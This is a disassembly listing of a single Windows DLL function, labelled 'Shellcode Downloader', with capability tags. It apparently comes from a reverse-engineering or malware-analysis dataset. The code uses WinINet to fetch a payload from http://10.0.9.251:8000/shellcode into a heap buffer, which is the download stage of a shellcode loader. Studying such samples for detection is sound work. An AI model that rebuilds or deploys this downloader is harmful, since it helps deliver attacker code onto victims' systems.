Function at 0x180001080
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push r15
mov eax, 0x1058
call fcn.180002780
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
lea rcx, str.Shellcode_Downloader
mov rsi, rdx
xor ebx, ebx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
mov edx, 1
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x18000110e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.InternetOpen_failed:
mov ebx, eax
call fcn.1800016c0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x18000124f
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__10.0.9.251:8000_shellcode
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x1080], rdi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x180001187
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.InternetOpenUrlA_failed:
mov ebx, eax
call fcn.1800016c0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x180001247
mov qword [rsp + 0x1098], r12
lea r9, [rsp + 0x30]
mov qword [rsp + 0x1050], r14
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov dword [rsp + 0x30], ebx
mov rcx, rdi
mov r14b, 1
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000121c
mov r12, 0xffffffffffffffff
mov ecx, dword [rsp + 0x30]
test ecx, ecx
je 0x18000121c
mov edx, ebx
add edx, ecx
mov rcx, qword [rsi]
cmovb rdx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov qword [rsi], rax
test rax, rax
je 0x18000126c
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov ecx, ebx
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1800011c2
mov ecx, ebx
mov qword [r15], rcx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r12, qword [rsp + 0x1098]
movzx eax, r14b
mov r14, qword [rsp + 0x1050]
mov rdi, qword [rsp + 0x1080]
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1800018f0
add rsp, 0x1058
pop r15
pop rsi
pop rbp
pop rbx
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Memory_allocation_failed
call fcn.1800016c0
mov rcx, rax
lea rdx, [0x1800018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r14b, r14b
jmp 0x180001221